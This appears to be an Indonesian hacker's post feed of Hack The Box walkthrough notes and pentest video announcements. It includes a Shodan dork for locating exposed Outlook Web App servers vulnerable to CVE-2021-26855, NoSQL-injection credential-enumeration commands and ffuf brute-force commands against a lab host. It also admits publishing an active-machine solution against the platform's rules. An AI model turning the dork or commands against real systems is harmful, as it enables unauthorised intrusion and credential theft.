Kendari Script Kiddie

08/03/2021

CVE-2021-26855

Shodan Dork :

title:"Outlook Web App" "Set-Cookie: ClientId="

13/01/2021

Di Video ini kita belajar bagaimana cara melakukan Network Pentesting.
Klasifikasi Pentesting adalah White Box Pentest.
Teknik yangdigunakan adalah SSH Tunneling.

10/07/2020

" Book " Machines
User.txt

10/07/2020

Metode SQL Truncation untuk By pass admin panel di " BOOK " Machine

09/07/2020

" Book " machine akan retired di malam minggu...jadi mungkin besok saya akan upload " Book " machine...

09/07/2020

Target : " Active Machine "
OS : " Windows "
Level : Easy

Ini mesin active, tidak boleh publikasi, ...
tapi karena saya lagi gabut, yaaa...saya publikasi saja,...
Semoga tidak melanggar hukum, dan cuma di banned saja videonya,
Bukan akun saya yang di banned ^_____^

04/05/2020

04/05/2020

Hack The Box " Control " Bagian 2

04/05/2020

Hack The Box " Control " Bagian 1

Meretas system dengan metode SQLinjection

21/04/2020

Exploit Database " Mongo - db "

[+] enumerasi noSql :
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration

[+] command nosql untuk username :

python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep username -op login:login -m POST

[+] command nosql untuk password :

python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/ -up username -pp password -ep password -op login:login -m POST

[+] ffuf command :
/ffuf -w ~/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://staging-order.mango.htb/FUZZ -fc 403
/ffuf -w ~/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://staging-order.mango.htb/FUZZ -fc 403
/ffuf -w ~/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://staging-order.mango.htb/vendor/FUZZ -fc 403